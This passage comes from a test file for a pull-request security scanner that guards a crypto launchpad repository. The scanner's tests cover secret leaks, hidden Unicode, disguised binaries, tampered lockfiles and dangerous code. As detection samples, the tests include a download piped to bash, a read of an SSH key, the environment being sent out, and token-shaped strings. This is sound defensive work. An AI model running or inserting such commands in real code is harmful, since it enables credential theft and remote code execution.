"x\n" })).includes("secret-file"), path); + } + }); + + test(".env.example is not a secret file", () => { + assert.deepEqual(rules(check({ "app/.env.example": "DATABASE_URL=postgres://localhost/openlaunch_dev\n" })), ["build-deploy"]); + }); + + test("a private key in code is blocked, and its value is never repeated", () => { + const found = check({ "app/scripts/deploy.mjs": `const PRIVATE_KEY = "0x${key}";\n` }); + assert.ok(rules(found).includes("secret")); + const report = renderSummary(found, verdict(found, { author: "someone", sender: "someone" }), { headSha: "a".repeat(40) }) + renderText(found, verdict(found, {})) + JSON.stringify(found); + assert.ok(!report.includes(key), "the key must not be echoed into the public job log"); + }); + + test("a transaction hash is not a key", () => { + assert.deepEqual(rules(check({ "app/src/lib/tx.ts": `export const DEPLOY_TX = "0x${key}";\n` })), []); + }); + + test("tokens and keyed URLs are recognised by their shape", () => { + const samples = { + "a private key block": "-----BEGIN " + "EC PRIVATE KEY-----", + "an AWS access key": "AKIA" + "ABCDEFGHIJKLMNOP", + "a GitHub token": "ghp_" + "a1B2".repeat(9), + "an npm token": "npm_" + "a1B2".repeat(9), + "an RPC URL with its key": "https://base-mainnet.g.alchemy.com/v2/" + "abcDEF123456".repeat(2), + "a database URL with its password": "postgres://app:" + "s3cr3tPass99" + "@db.internal:5432/openlaunch", + "a recovery phrase": "mnemonic: " + Array.from({ length: 12 }, (_, i) => ["apple", "river", "stone"][i % 3]).join(" "), + }; + for (const [what, value] of Object.entries(samples)) { + const found = scanLines("docs/notes.md", [{ n: 1, text: `value = ${value}` }], [], { addresses: new Set(), hosts: new Set(["base-mainnet.g.alchemy.com"]), env: new Set() }); + assert.ok(of(found, "secret").some((f) => f.detail === what), what); + } + }); + + test("placeholders in documentation are not credentials", () => { + for (const text of ["postgres://postgres:postgres@127.0.0.1:5432/quote_indexer", "postgres://dev:devpass@localhost/app", "postgres://user:password@host:5432/db", "postgres://app:@db.flycast:5432/app", "postgres://localhost/openlaunch_dev", "DATABASE_URL=postgres://app:${DB_PASSWORD}@db/app", "mnemonic: test test test test test test test test test test test junk"]) { + assert.deepEqual(of(scanLines("app/LAUNCH.md", [{ n: 1, text }], [], { addresses: new Set(), hosts: new Set(["host", "db.flycast", "db"]), env: new Set() }), "secret"), [], text); + } + }); +}); + +// ---------- hidden characters ---------- + +describe("hidden characters", () => { + const family = cp(0x1f468, 0x200d, 0x1f469, 0x200d, 0x1f467); + test("a text direction override is blocked", () => { + const found = check({ "app/src/lib/access.ts": `const role = "user${cp(0x202e)} // admin";\n` }); + assert.deepEqual(rules(found), ["hidden-unicode"]); + assert.equal(found[0].line, 1); + }); + + test("zero-width and tag characters are blocked", () => { + assert.equal(hiddenCharacter(`is${cp(0x200b)}Admin`), "an invisible character"); + assert.equal(hiddenCharacter(`note${cp(0xe0049, 0xe0067)}`), "an invisible character"); + assert.equal(hiddenCharacter(`a${cp(0x1b)}[2K`), "a control character"); + assert.equal(hiddenCharacter(`line${cp(0x2028)}break`), "an invisible character"); + }); + + test("a joiner inside an emoji is fine, between letters it is not", () => { + assert.equal(hiddenCharacter(`family ${family} ok`), null); + assert.equal(hiddenCharacter(`ad${cp(0x200d)}min`), "a zero-width joiner outside an emoji"); + }); + + test("a byte order mark is fine only at the very start of a file", () => { + assert.equal(hiddenCharacter(`${cp(0xfeff)}export {};`, true), null); + assert.equal(hiddenCharacter(`${cp(0xfeff)}export {};`, false), "a byte order mark inside the file"); + assert.equal(hiddenCharacter(`export${cp(0xfeff)} {};`, true), "a byte order mark inside the file"); + }); + + test("the same character written as an escape is visible, so it passes", () => { + assert.deepEqual(rules(check({ "app/src/lib/strip.ts": `export const RLO = "\\${"u202E"}";\nexport const tabs = "a\\tb";\n` })), []); + }); + + test("plain text in other scripts and ordinary emoji pass", () => { + assert.equal(hiddenCharacter("Größe, 日本語, العربية, emoji 🚀 and " + family), null); + }); +}); + +// ---------- binaries ---------- + +describe("binary files", () => { + test("a real image passes without a finding", () => { + assert.deepEqual(rules(check({ "app/public/new.png": PNG })), []); + }); + + test("a file that is not what its name says is blocked", () => { + assert.deepEqual(rules(check({ "app/public/photo.png": "#!/bin/sh\necho hi\n" })), ["binary"]); + assert.deepEqual(rules(check({ "app/public/photo.jpg": PNG })), ["binary"]); + }); + + test("executables and archives are blocked", () => { + assert.deepEqual(rules(check({ "tools/helper": Buffer.from([0x7f, 0x45, 0x4c, 0x46, 0, 0, 0, 0, 1, 2, 3]) })), ["binary"]); + assert.deepEqual(rules(check({ "app/public/pack.wasm": Buffer.from([0, 0x61, 0x73, 0x6d, 1, 0, 0, 0]) })), ["binary"]); + }); + + test("source saved as UTF-16 counts as binary, because the scanner cannot read it", () => { + assert.deepEqual(rules(check({ "app/src/lib/x.ts": Buffer.from("export const x = eval('1');\n", "utf16le") })), ["binary"]); + }); + + test("video needs an owner", () => { + assert.deepEqual(rules(check({ "brand/clip.mp4": Buffer.concat([Buffer.from([0, 0, 0, 0x18]), Buffer.from("ftypmp42"), Buffer.alloc(16)]) })), ["media"]); + }); + + test("an SVG with script or an event handler is blocked; a plain one passes", () => { + assert.deepEqual(rules(check({ "app/public/a.svg": '\n' })), ["svg-active"]); + assert.ok(rules(check({ "app/public/b.svg": '\n' })).includes("svg-active")); + assert.deepEqual(rules(check({ "app/public/c.svg": '\n' })), []); + }); +}); + +// ---------- dependencies ---------- + +describe("dependencies", () => { + const bump = { "app/package.json": manifest({ dependencies: { sharp: "^0.35.5", viem: "^2.47.6" } }), "app/package-lock.json": lockfile({ ...BASE_LOCK, sharp: entry("sharp", "0.35.5") }) }; + + test("a clean version bump needs an owner and says what moved", () => { + const found = check(bump); + assert.deepEqual(rules(found), ["dependencies"]); + assert.match(details(found, "dependencies"), /sharp \^0\.35\.4 → \^0\.35\.5/); + assert.match(details(found, "dependencies"), /1 changed: sharp@0\.35\.5/); + }); + + test("a new dependency is named", () => { + const found = check({ "app/package.json": manifest({ dependencies: { sharp: "^0.35.4", viem: "^2.47.6", leftpad: "^1.0.0" } }), "app/package-lock.json": lockfile({ ...BASE_LOCK, leftpad: entry("leftpad", "1.0.0") }) }); + assert.deepEqual(rules(found), ["dependencies"]); + assert.match(details(found, "dependencies"), /leftpad \^1\.0\.0 added/); + assert.match(details(found, "dependencies"), /1 package added: leftpad@1\.0\.0/); + }); + + test("a lockfile entry from anywhere but the npm registry is blocked", () => { + for (const resolved of ["https://github.com/someone/sharp/tarball/main", "https://registry.npmjs.org.evil.io/sharp/-/sharp-0.35.4.tgz", "git+ssh://git@github.com/someone/sharp.git#abc", "http://registry.npmjs.org/sharp/-/sharp-0.35.4.tgz"]) { + const found = check({ "app/package-lock.json": lockfile({ ...BASE_LOCK, sharp: entry("sharp", "0.35.4", { resolved }) }) }); + assert.ok(rules(found).includes("lockfile"), resolved); + } + }); + + test("an entry that resolves to another package's tarball is blocked", () => { + const found = lintNpmLock("app/package-lock.json", lockfile({ ...BASE_LOCK, viem: { ...entry("viem", "2.47.6"), resolved: "https://registry.npmjs.org/v1em/-/v1em-2.47.6.tgz" } }), lockfile(BASE_LOCK)); + assert.match(details(found, "lockfile"), /viem@2\.47\.6 does not resolve to its own registry tarball/); + }); + + test("a missing or weak integrity hash is blocked", () => { + const { integrity: _dropped, ...bare } = entry("viem", "2.47.6"); + assert.ok(rules(lintNpmLock("p", lockfile({ ...BASE_LOCK, viem: bare }), lockfile(BASE_LOCK))).includes("lockfile")); + assert.ok(rules(lintNpmLock("p", lockfile({ ...BASE_LOCK, viem: entry("viem", "2.47.6", { integrity: "sha1-abc=" }) }), lockfile(BASE_LOCK))).includes("lockfile")); + }); + + test("aliases, local links and bundled packages are blocked", () => { + const alias = lintNpmLock("p", lockfile({ ...BASE_LOCK, lodash: { ...entry("evil-lodash", "4.0.0"), name: "evil-lodash" } }), lockfile(BASE_LOCK)); + assert.match(details(alias, "lockfile"), /lodash is an alias for evil-lodash/); + assert.ok(rules(lintNpmLock("p", lockfile({ ...BASE_LOCK, local: { link: true, resolved: "../local" } }), lockfile(BASE_LOCK))).includes("lockfile")); + assert.ok(rules(lintNpmLock("p", lockfile({ ...BASE_LOCK, inner: { version: "1.0.0", inBundle: true } }), lockfile(BASE_LOCK))).includes("lockfile")); + }); + + test("a scoped package and a nested copy resolve under their own names", () => { + const nested = { ...JSON.parse(lockfile(BASE_LOCK)) }; + nested.packages["node_modules/sharp/node_modules/@scope/pkg"] = entry("@scope/pkg", "2.0.0"); + assert.deepEqual(rules(lintNpmLock("p", JSON.stringify(nested), lockfile(BASE_LOCK))), ["dependencies"]); + }); + + test("a new package with an install script is blocked; a bump of one that already had it is not", () => { + const fresh = check({ "app/package-lock.json": lockfile({ ...BASE_LOCK, miner: entry("miner", "1.0.0", { hasInstallScript: true }) }) }); + assert.deepEqual(rules(fresh), ["dependencies", "install-script"]); + const bumped = check({ "app/package-lock.json": lockfile({ ...BASE_LOCK, esbuild: entry("esbuild", "0.29.0", { hasInstallScript: true }) }) }); + assert.deepEqual(rules(bumped), ["dependencies"]); + }); + + test("an unreadable lockfile is blocked", () => { + assert.deepEqual(rules(check({ "app/package-lock.json": "{ not json" })), ["lockfile"]); + assert.deepEqual(rules(check({ "app/package-lock.json": '{ "lockfileVersion": 1, "dependencies": {} }\n' })), ["lockfile"]); + }); + + test("a lifecycle script in package.json is blocked", () => { + for (const name of ["preinstall", "postinstall", "prepare"]) { + const found = check({ "app/package.json": manifest({ scripts: { test: "tsx --test", build: "next build", [name]: "node setup.js" } }) }); + assert.deepEqual(rules(found), ["install-script"], name); + } + }); + + test("a changed or added npm script needs an owner", () => { + const found = check({ "app/package.json": manifest({ scripts: { test: "true", build: "next build", pretest: "node x.js" } }) }); + assert.deepEqual(rules(found), ["dependencies"]); + assert.match(details(found, "dependencies"), /npm script "test" changed/); + assert.match(details(found, "dependencies"), /npm script "pretest" added/); + }); + + test("a dependency from git, a URL, a folder or under an alias is blocked", () => { + for (const spec of ["github:someone/viem", "git+https://github.com/someone/viem.git", "https://example.org/viem.tgz", "file:../viem", "npm:v1em@^2.0.0", "someone/viem#main"]) { + const found = lintManifest("app/package.json", manifest({ dependencies: { sharp: "^0.35.4", viem: spec } }), manifest({})); + assert.deepEqual(rules(found), ["dependency-source"], spec); + } + }); + + test("an override is read like any other dependency", () => { + const found = lintManifest("app/package.json", manifest({ overrides: { viem: { ox: "github:someone/ox" } } }), manifest({})); + assert.match(details(found, "dependency-source"), /viem > ox comes from "github:someone\/ox"/); + }); + + test("ordinary version ranges are not mistaken for off-registry sources", () => { + for (const spec of ["^1.2.3", "~1.2.3", "1.2.3", ">=1.2.3 <2", "1.x", "*", "latest", "19.2.3", "^16.3.8-canary.1"]) { + assert.deepEqual(rules(lintManifest("app/package.json", manifest({ dependencies: { sharp: "^0.35.4", viem: spec } }), manifest({}))), ["dependencies"], spec); + } + }); + + test("a second package manager's lockfile, or a second manifest, needs an owner", () => { + assert.deepEqual(rules(check({ "app/yarn.lock": "# yarn lockfile v1\n" })), ["dependencies"]); + assert.match(details(check({ "tools/package.json": '{ "name": "tools" }\n' }), "dependencies"), /a new package manifest/); + }); + + test("a download piped to a shell inside an npm script is called out", () => { + const found = check({ "app/package.json": manifest({ scripts: { test: "tsx --test", build: "curl -s https://example.org/i.sh | sh && next build" } }) }); + assert.deepEqual(rules(found), ["dangerous-code", "dependencies"]); + }); +}); + +// ---------- application code ---------- + +describe("application code", () => { + const config = BASE["app/src/lib/launchpad/config.ts"]; + + test("swapping an address is caught, and a new one is marked as new", () => { + const found = check({ "app/src/lib/launchpad/config.ts": config.replace(ROUTER, STRANGER) }); + assert.deepEqual(rules(found), ["address"]); + assert.equal(found[0].detail, `${STRANGER} (new to the repository)`); + assert.equal(found[0].line, 2); + }); + + test("an address the repository already has is still shown, marked as known", () => { + const found = check({ "app/src/lib/launchpad/extra.ts": `export const FEE_TO = "${ROUTER.toLowerCase()}";\n` }); + assert.match(details(found, "address"), /already in the repository/); + }); + + test("the zero and burn addresses, hashes, and addresses in tests are not findings", () => { + assert.deepEqual(rules(check({ "app/src/lib/x.ts": `const a = "0x${"0".repeat(40)}", b = "0x000000000000000000000000000000000000dEaD", h = "0x${"ab".repeat(32)}";\n` })), []); + assert.deepEqual(rules(check({ "app/src/lib/x.test.ts": `const who = "${STRANGER}";\n` })), []); + }); + + test("an address in the README needs an owner too", () => { + assert.deepEqual(rules(check({ "README.md": `${BASE["README.md"]}\nFactory: ${STRANGER}\n` })), ["address"]); + }); + + test("wallet calls are flagged in app code and ignored in tests", () => { + const found = check({ "app/src/components/Buy.tsx": 'await writeContract(config, { address, abi, functionName: "approve", args: [spender, maxUint256] });\n' }); + assert.deepEqual(rules(found), ["wallet-call"]); + assert.match(details(found, "wallet-call"), /writeContract/); + assert.match(details(found, "wallet-call"), /functionName: "approve"/); + assert.match(details(found, "wallet-call"), /maxUint256/); + assert.deepEqual(rules(check({ "app/src/components/buy.test.ts": "await signMessage({ message });\n" })), []); + }); + + test("a wallet RPC method is a quoted string; a database column that starts with wallet_ is not one", () => { + assert.match(details(check({ "app/src/lib/switch.ts": 'await provider.request({ method: "wallet_switchEthereumChain", params });\n' }), "wallet-call"), /"wallet_switchEthereumChain"/); + assert.deepEqual(rules(check({ "app/src/lib/q.ts": "const rows = await sql`select wallet_fees_quote_paid from fees`;\n" })), []); + }); + + test("a new host is flagged, in code, tests and docs; a known or local one is not", () => { + assert.deepEqual(rules(check({ "app/src/lib/track.ts": 'await fetch("https://collect.metrics-cdn.io/v1", { method: "POST", body });\n' })), ["new-host"]); + assert.deepEqual(rules(check({ "app/src/lib/track.test.ts": 'await fetch("https://collect.metrics-cdn.io/v1");\n' })), ["new-host"]); + assert.deepEqual(rules(check({ "README.md": `${BASE["README.md"]}Claim here: https://openlaunch-airdrop.xyz\n` })), ["new-host"]); + assert.deepEqual(rules(check({ "app/src/lib/rpc.ts": 'const a = "https://mainnet.base.org/x", b = "http://localhost:3000", c = "http://127.0.0.1:8545";\n' })), []); + }); + + test("a host that only a lockfile mentions is still new to the code", () => { + assert.deepEqual(rules(check({ "app/src/lib/meta.ts": 'await fetch("https://registry.npmjs.org/-/npm/v1/tokens");\n' })), ["new-host"]); + }); + + test("a host built at run time is flagged, since it cannot be compared", () => { + assert.match(details(check({ "app/src/lib/send.ts": "await fetch(`https://${target}/in`);\n" }), "new-host"), /\(computed\)/); + }); + + test("hostOf strips credentials, ports and case", () => { + assert.equal(hostOf("User:pw@Example-RPC.io:8443"), "example-rpc.io"); + assert.equal(hostOf("evil_site.com"), "evil_site.com"); + assert.equal(hostOf("${host}"), "(computed)"); + }); + + test("code execution, raw HTML and process spawning are flagged, in tests as well", () => { + const samples = { + "eval()": "const out = eval(source);", + "new Function()": 'const run = new Function("return 1");', + "raw HTML injection": "
", + "starting a process": 'import { execSync } from "node:child_process";', + "a computed import or require": "const mod = await import(name);", + "reading the whole environment": "await send(JSON.stringify(process.env));", + "decoding hidden text": 'const payload = atob("aGk=");', + "a download piped to a shell": "curl -fsSL https://example.org/install.sh | bash", + "reading the home directory or a key store": 'readFileSync(join(homedir(), ".ssh/id_ed25519"));', + }; + for (const [what, text] of Object.entries(samples)) { + for (const path of ["app/src/lib/util.ts", "app/src/lib/util.test.ts"]) { + const found = scanLines(path, [{ n: 1, text }], [], { addresses: new Set(), hosts: new Set(), env: new Set() }); + assert.ok(of(found, "dangerous-code").some((f) => f.detail === what), `${what} in ${path}`); + } + } + }); + + test("a file is read as code whatever its extension; prose is not", () => { + assert.deepEqual(rules(check({ "app/src/lib/helper": "eval(input);\n" })), ["dangerous-code"]); + assert.deepEqual(rules(check({ "app/src/lib/helper.weird": "eval(input);\n" })), ["dangerous-code"]); + assert.deepEqual(rules(check({ "docs/guide.md": "Never call `eval(input)` on user text.\n" })), []); + }); + + test("app code cannot hide behind a test file's name", () => { + const found = check({ "app/src/lib/pay.ts": 'import { TREASURY } from "./pay.test";\nexport const to = TREASURY;\n', "app/src/lib/pay.test.ts": `export const TREASURY = "${STRANGER}";\n` }); + assert.deepEqual(rules(found), ["dangerous-code"]); + assert.equal(found[0].detail, "app code importing a test file"); + assert.deepEqual(rules(check({ "app/src/lib/a.test.ts": 'import { helper } from "./b.test";\n' })), [], "a test may import a test"); + }); + + test("ordinary code that looks similar is left alone", () => { + assert.deepEqual(rules(check({ "contracts/src/Vault.sol": "contract Vault {\n function f(uint256 a) external pure { require(a > 0, \"zero\"); }\n}\n" })), ["contracts"], "Solidity's require is not Node's"); + for (const text of ['const m = /a/.exec(text);', 'const mod = await import("./chart");', "const key = process.env.BASE_RPC_URL;", "particles.spawn(3);", 'el.textContent = "hi";']) { + assert.deepEqual(of(scanLines("app/src/lib/util.ts", [{ n: 1, text }], [], { addresses: new Set(), hosts: new Set(), env: new Set(["BASE_RPC_URL"]) }), "dangerous-code"), [], text); + } + }); + + test("dropping a rate limit or a signature check is flagged", () => { + const found = check({ "app/src/app/api/post/route.ts": ROUTE.replace(" if (await rateLimited(request)) return tooMany();\n", "").replace("!ok || ", "") }); + assert.deepEqual(rules(found), ["auth-removed"]); + assert.match(details(found, "auth-removed"), /rateLimited: 1 fewer use/); + }); + + test("moving a check within the file is not a removal", () => { + const moved = ROUTE.replace(" if (await rateLimited(request)) return tooMany();\n", "").replace(" return save(", " if (await rateLimited(request)) return tooMany();\n return save("); + assert.deepEqual(rules(check({ "app/src/app/api/post/route.ts": moved })), []); + }); + + test("a new environment variable is named; an existing one is not", () => { + const found = check({ "app/src/lib/keys.ts": "const a = process.env.BASE_RPC_URL, b = process.env.ADMIN_SIGNER_KEY, c = process.env[\"NEXT_PUBLIC_NEW\"];\n" }); + assert.deepEqual(rules(found), ["new-env"]); + assert.equal(details(found, "new-env"), "ADMIN_SIGNER_KEY | NEXT_PUBLIC_NEW"); + }); + + test("encoded blobs and very long lines need a person", () => { + assert.deepEqual(rules(check({ "app/src/lib/blob.ts": `export const data = "${"QUJD".repeat(120)}";\n` })), ["opaque"]); + assert.deepEqual(rules(check({ "app/src/lib/min.js": `var a=1;${"a=a+1;".repeat(400)}\n` })), ["opaque"]); + assert.deepEqual(rules(check({ "app/src/lib/obf.js": "var _0x4f2a=['log'];\n" })), ["opaque"]); + }); + + test("security headers, deploy files, migrations and policy files need an owner", () => { + assert.deepEqual(rules(check({ "app/src/lib/security-headers.ts": "export const csp = \"default-src *\";\n" })), ["security-config"]); + assert.deepEqual(rules(check({ "app/Dockerfile": "FROM node:22-slim\nRUN true\n" })), ["build-deploy"]); + assert.deepEqual(rules(check({ "app/db/schema.sql": "drop table launches;\n" })), ["build-deploy"]); + assert.deepEqual(rules(check({ "app/scripts/fix.mjs": "console.log(1);\n" })), ["build-deploy"]); + assert.deepEqual(rules(check({ "SECURITY.md": "Report to help@elsewhere.example.com\n" })), ["policy"]); + assert.deepEqual(rules(check({ ".gitattributes": "*.sol linguist-vendored\n" })), ["git-config"]); + }); + + test("static pages, scripts and .well-known files served by the site need an owner", () => { + assert.deepEqual(rules(check({ "app/public/sw.js": "self.addEventListener('fetch', () => {});\n" })), ["security-config"]); + assert.deepEqual(rules(check({ "app/public/.well-known/farcaster.json": '{ "accountAssociation": {} }\n' })), ["security-config"]); + assert.deepEqual(rules(check({ "app/public/claim.html": "

Claim

\n" })), ["security-config"]); + }); + + test("a line too long to match is flagged instead of skipped, and hidden characters in it are still found", () => { + const long = `export const x = "${"ab ".repeat(4000)}";`; + assert.match(details(check({ "app/src/lib/long.ts": `${long}\n` }), "opaque"), /too long to match against the rules/); + assert.deepEqual(rules(check({ "app/src/lib/long.ts": `${long}${cp(0x202e)}\n` })), ["hidden-unicode", "opaque"]); + }); + + test("a flood of findings in one file is cut short, and a block among them is kept", () => { + const found = check({ "app/src/lib/flood.ts": `${"eval(x);\n".repeat(300)}const y = "${cp(0x200b)}";\n` }); + assert.equal(of(found, "dangerous-code").length, 199); + assert.equal(of(found, "hidden-unicode").length, 1); + assert.match(details(found, "unscanned"), /101 more findings in this file are not listed/); + }); + + test("thousands of emoji joiners on one line are checked without slowing down", () => { + const started = Date.now(); + assert.equal(hiddenCharacter(cp(0x1f468, 0x200d, 0x1f469).repeat(200_000)), null); + assert.ok(Date.now() - started < 5000); + }); + + test("a file made executable is noted", () => { + assert.match(details(check({ "app/src/lib/run.ts": { content: "export {};\n", mode: 0o755 } }), "build-deploy"), /marked executable/); + }); + + test("an ordinary change passes with no findings", () => { + assert.deepEqual(check({ + "app/src/components/Hero.tsx": "export function Hero() {\n return

Launch should be open and free.

;\n}\n", + "app/src/components/hero.test.ts": 'import test from "node:test";\ntest("hero renders", () => {});\n', + "README.md": "# openlaunch\n\nLaunch should be open and free. Docs: https://openlaunch.lol/agents\n\nThanks to everyone who helped.\n", + "docs/guide.md": "## Guide\n\nRun `npm test`.\n", + }), []); + }); + + test("only the lines a pull request adds are judged", () => { + const bio = "export const Bio = () =>

;\n"; + git(["checkout", "-q", "-f", "--detach", baseSha]); + const sinkBase = commit({ "app/src/components/Bio.tsx": bio }, "base with an existing sink"); + const head = commit({ "app/src/components/Bio.tsx": `// a comment above\n${bio}` }, "pull request"); + assert.deepEqual(analyze(openRepo(dir, sinkBase, head), { lockedPaths: LOCKED }), []); + }); + + test("a file name that looks like a git pathspec is still read", () => { + assert.deepEqual(rules(check({ "app/src/:(exclude)x.ts": "eval(input);\n" })), ["dangerous-code"]); + }); + + test("the pull request is compared with where it branched, not with later commits on main", () => { + const head = pullRequest({ "docs/guide.md": "## Guide\n" }); + git(["checkout", "-q", "-f", "--detach", baseSha]); + const laterMain = commit({ "contracts/src/LaunchFactoryArc.sol": "contract LaunchFactoryArc {}\n", ".github/workflows/ci.yml": "name: ci\n# later\n" }, "main moved on"); + assert.deepEqual(analyze(openRepo(dir, laterMain, head), { lockedPaths: LOCKED }), []); + }); +}); + +// ---------- parsing ---------- + +describe("parsing", () => { + test("parseHunks numbers added lines and keeps removed ones", () => { + const diff = ["diff --git a/x b/x", "--- a/x", "+++ b/x", "@@ -2 +2,2 @@", "-old", "+new one\r", "+new two", "@@ -9,0 +11 @@ context", "+++ not a header", "\\ No newline at end of file"].join("\n"); + assert.deepEqual(parseHunks(diff), { added: [{ n: 2, text: "new one" }, { n: 3, text: "new two" }, { n: 11, text: "++ not a header" }], removed: ["old"] }); + }); + + test("lines that look like diff headers inside the file do not confuse it", () => { + const found = check({ "app/src/components/Hero.tsx": `${BASE["app/src/components/Hero.tsx"]}@@ -1 +1 @@\n+++ b/x\neval(x);\n` }); + assert.deepEqual(rules(found), ["dangerous-code"]); + assert.equal(found[0].line, 6); + }); +}); + +// ---------- approval and verdict ---------- + +describe("verdict", () => { + const HEAD = "a".repeat(40), OLD = "b".repeat(40); + const owner = OWNERS[0]; + const review = (login, state, commit_id, submitted_at) => ({ id: Date.parse(submitted_at), user: { login }, state, commit_id, submitted_at }); + const block = { tier: "block", rule: "contract-locked", path: "contracts/src/LaunchFactory.sol", detail: "edited", line: null }; + const sensitive = { tier: "review", rule: "address", path: "app/src/lib/launchpad/config.ts", detail: `${STRANGER} (new to the repository)`, line: 2 }; + + test("an owner's approval of the head commit counts", () => { + assert.equal(ownerApproval([review(owner, "APPROVED", HEAD, "2026-10-11T01:00:00Z")], OWNERS, HEAD), owner); + assert.equal(ownerApproval([review(owner.toUpperCase(), "APPROVED", HEAD, "2026-10-11T01:00:00Z")], OWNERS, HEAD), owner); + }); + + test("an approval of an earlier commit does not: a push after approval needs a new one", () => { + assert.equal(ownerApproval([review(owner, "APPROVED", OLD, "2026-10-11T01:00:00Z")], OWNERS, HEAD), null); + }); + + test("anyone else's approval does not count", () => { + assert.equal(ownerApproval([review("someone", "APPROVED", HEAD, "2026-10-11T01:00:00Z"), review(`${owner}x`, "APPROVED", HEAD, "2026-10-11T01:00:00Z")], OWNERS, HEAD), null); + }); + + test("the owner's latest verdict wins; a comment is not a verdict", () => { + const approved = review(owner, "APPROVED", HEAD, "2026-10-11T01:00:00Z"); + assert.equal(ownerApproval([approved, review(owner, "CHANGES_REQUESTED", HEAD, "2026-10-11T02:00:00Z")], OWNERS, HEAD), null); + assert.equal(ownerApproval([review(owner, "DISMISSED", HEAD, "2026-10-11T02:00:00Z"), approved], OWNERS, HEAD), null); + assert.equal(ownerApproval([approved, review(owner, "COMMENTED", HEAD, "2026-10-11T02:00:00Z")], OWNERS, HEAD), owner); + assert.equal(ownerApproval([review(owner, "CHANGES_REQUESTED", OLD, "2026-10-11T00:00:00Z"), approved], OWNERS, HEAD), owner); + }); + + test("nothing found passes", () => { + assert.deepEqual(verdict([], { author: "someone", sender: "someone" }), { outcome: "pass", ok: true, blocks: 0, reviews: 0, ownPr: false, approvedBy: null }); + }); + + test("a sensitive change from a contributor waits for an owner", () => { + assert.equal(verdict([sensitive], { author: "someone", sender: "someone" }).outcome, "review"); + assert.equal(verdict([sensitive], { author: "someone", sender: "someone" }).ok, false); + const approved = verdict([sensitive], { author: "someone", sender: "someone", approvedBy: owner }); + assert.deepEqual([approved.outcome, approved.ok, approved.approvedBy], ["pass", true, owner]); + }); + + test("on an owner's own pull request a sensitive change is a notice", () => { + const result = verdict([sensitive], { author: owner, sender: owner }); + assert.deepEqual([result.outcome, result.ok, result.ownPr], ["pass", true, true]); + }); + + test("an owner's pull request that someone else pushed to is treated like anyone's", () => { + assert.equal(verdict([sensitive], { author: owner, sender: "collaborator" }).ok, false); + assert.equal(verdict([sensitive], { author: "collaborator", sender: owner }).ok, false); + }); + + test("a block stays a block: no owner, no approval, nothing turns it into a pass", () => { + for (const context of [{ author: owner, sender: owner }, { author: "someone", sender: "someone", approvedBy: owner }, { author: owner, sender: owner, approvedBy: owner }]) { + const result = verdict([block, sensitive], context); + assert.deepEqual([result.outcome, result.ok], ["block", false]); + } + }); + + test("every rule has a tier, a title and a reason", () => { + for (const [rule, meta] of Object.entries(RULES)) { + assert.ok(["block", "review"].includes(meta.tier) && meta.title && meta.help, rule); + } + }); +}); + +// ---------- report ---------- + +describe("report", () => { + const HEAD = "c".repeat(40); + const sensitive = { tier: "review", rule: "new-host", path: "app/src/lib/track.ts", detail: "collect.metrics-cdn.io", line: 4 }; + + test("the summary says what happened and what to do next", () => { + const waiting = renderSummary([sensitive], verdict([sensitive], { author: "someone", sender: "someone" }), { headSha: HEAD }); + assert.match(waiting, /^## pr-guard: needs an owner's approval/); + assert.match(waiting, /approves commit `ccccccc` with a pull request review, then re-runs this job/); + assert.match(waiting, /`app\/src\/lib\/track\.ts`: collect\.metrics-cdn\.io \(line 4\)/); + assert.match(renderSummary([], verdict([], {}), { headSha: HEAD }), /^## pr-guard: passed/); + const blocked = [{ tier: "block", rule: "ci-config", path: ".github/workflows/ci.yml", detail: "changed", line: null }]; + assert.match(renderSummary(blocked, verdict(blocked, {}), { headSha: HEAD }), /^## pr-guard: blocked/); + }); + + test("text from the pull request cannot break out of the report", () => { + const path = "app/src/x`.ts\n::error::owned"; + assert.equal(plain(path), "app/src/x`.ts ::error::owned"); + const summary = renderSummary([{ ...sensitive, path }], verdict([sensitive], {}), { headSha: HEAD }); + assert.ok(!summary.includes("x`.ts"), "backticks are replaced inside code spans"); + assert.ok(!/\n::error/.test(summary)); + assert.equal(plain(`a${cp(0x202e)}b${cp(0x1b)}c`), "a?b c"); + assert.equal(plain("x".repeat(500)).length, 201); + }); + + test("an annotation escapes its message and leaves out an odd file name", () => { + const line = annotation("error", { path: "app/src/a.ts", line: 3, title: "pr-guard: x, y: z" }, "50% done\nnext::line"); + assert.equal(line, "::error title=pr-guard%3A x%2C y%3A z,file=app/src/a.ts,line=3::50%25 done next::line"); + assert.ok(!annotation("error", { path: "a,b\n::warning::x", line: 1, title: "t" }, "m").includes("file=")); + assert.equal(annotation("warning", { path: "a.ts", line: null, title: "t" }, "m").split("\n").length, 1); + }); +}); + +// ---------- the command itself ---------- + +describe("command line", () => { + const run = (args) => spawnSync(process.execPath, [GUARD, "--repo", dir, "--lock", lockFile, ...args], { encoding: "utf8", env: { ...process.env, GITHUB_ACTIONS: "", GITHUB_STEP_SUMMARY: "", PR_NUMBER: "", GITHUB_REPOSITORY: "" } }); + + test("exit codes follow the verdict", () => { + const clean = pullRequest({ "docs/guide.md": "## Guide\n" }); + assert.equal(run(["--base", baseSha, "--head", clean, "--author", "someone"]).status, 0); + + const sensitive = pullRequest({ "app/src/lib/launchpad/config.ts": BASE["app/src/lib/launchpad/config.ts"].replace(ROUTER, STRANGER) }); + const waiting = run(["--base", baseSha, "--head", sensitive, "--author", "someone"]); + assert.equal(waiting.status, 1); + assert.match(waiting.stdout, /pr-guard: review {2}\(0 blocking, 1 for review\)/); + assert.equal(run(["--base", baseSha, "--head", sensitive, "--author", "someone", "--approved"]).status, 0); + assert.equal(run(["--base", baseSha, "--head", sensitive, "--author", OWNERS[0]]).status, 0); + assert.equal(run(["--base", baseSha, "--head", sensitive, "--author", OWNERS[0], "--sender", "collaborator"]).status, 1); + + const blocked = pullRequest({ "contracts/src/LaunchFactory.sol": "contract LaunchFactory { address owner; }\n" }); + assert.equal(run(["--base", baseSha, "--head", blocked, "--author", OWNERS[0], "--approved"]).status, 1); + }); + + test("--json carries the findings", () => { + const head = pullRequest({ ".github/workflows/ci.yml": "name: ci\n# edited\n" }); + const out = JSON.parse(run(["--base", baseSha, "--head", head, "--author", "someone", "--json"]).stdout); + assert.equal(out.result.outcome, "block"); + assert.deepEqual(out.findings.map((f) => [f.rule, f.path]), [["ci-config", ".github/workflows/ci.yml"]]); + }); + + test("when the guard itself cannot finish, the check fails", () => { + const missingHead = run(["--base", baseSha, "--head", "f".repeat(40), "--author", OWNERS[0]]); + assert.equal(missingHead.status, 1); + assert.match(missingHead.stdout, /could not finish, so the check fails/); + const noLock = spawnSync(process.execPath, [GUARD, "--repo", dir, "--lock", join(dir, "nope.lock"), 